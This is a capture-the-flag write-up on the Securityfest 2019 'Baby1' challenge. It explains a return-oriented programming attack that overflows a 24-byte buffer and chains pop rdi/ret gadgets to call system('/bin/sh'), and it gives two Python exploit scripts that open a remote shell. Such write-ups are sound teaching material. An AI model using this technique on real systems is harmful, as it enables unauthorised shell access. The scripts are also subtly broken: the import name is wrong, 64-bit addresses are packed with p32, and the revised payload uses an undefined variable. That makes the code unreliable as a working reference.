Rating:

Securityfest 2019 "Baby1"

Writeup by Ben Taylor

Solution

It's given that this problem is a return oriented programming problem. In other words, way out of my web & crypto bubble of comfort. Let's dig in.

As with any problem where we are given an executable, the first thing I usually recommend is to quickly look through all of the strings. On Linux and macOS, you can do this by using strings. On Windows, first uninstall windows, then install linux, and see the previous sentence. While it's not as easy as just plucking out a flag from the strings, we do see a "/bin/sh" string, which makes me think that the problem will be similar to BabyROP from Harekaze's 2019 CTF.

Since this is an ROP problem, it would be smart to find a few ROP gadgets using ROPgadget. We find a pop rdi; ret gadget at 0x00400793. As we'll see later, we'll also need ret at 0x0040053e.

After looking over the strings and grabbing the ROP gadgets, we can decompile and disassemble the binary using Ghidra. If you've never used Ghidra before, it can be a little intimidating, but it's a really powerful tool for reverse engineering and ROP problems. We find system at 0x00400560 and "/bin/sh" at 0x400286. Finally, we see that our string is at Stack[-0x18], which means we need to feed it 24 characters of garbage to get to where we need to on the stack.

So our payload should look something like "A" * 24 + pop_gadget + shell + system. Using PwnTools and Python, we get the following program:

from pwntools import *

shell      = p32(0x00400286);
system     = p32(0x00400560);
pop_gadget = p32(0x00400793);

payload = "A" * 24 + pop_gadget + shell + system;

conn = remote('127.0.0.1', 0000) # ip & port redacted
conn.send(payload);
conn.interactive();

However, running this program results in a seg fault. This is because Ubuntu's libc uses SSE registers, so our payload is misaligned. This is where our extra ret is useful. By putting ret right after our 24 characters of garbage, we align the payload and get the flag. Here's the revised program:

from pwntools import *

shell      = p32(0x00400286);
system     = p32(0x00400560);
pop_gadget = p32(0x00400793);
ret_gadget = p32(0x0040053e);

payload = "A" * 24 + ret + pop_gadget + shell + system;

conn = remote('127.0.0.1', 0000) # ip & port redacted
conn.send(payload);
conn.interactive();

This gives us a shell where we can easily find the flag.

Flag: sctf{1.p0p_r3GIs73rS_2.pOp_5H3lL_3.????_4.pr0FiT}

Original writeup (https://github.com/swv-l/writeups/blob/master/2019-securityfest-baby1.md).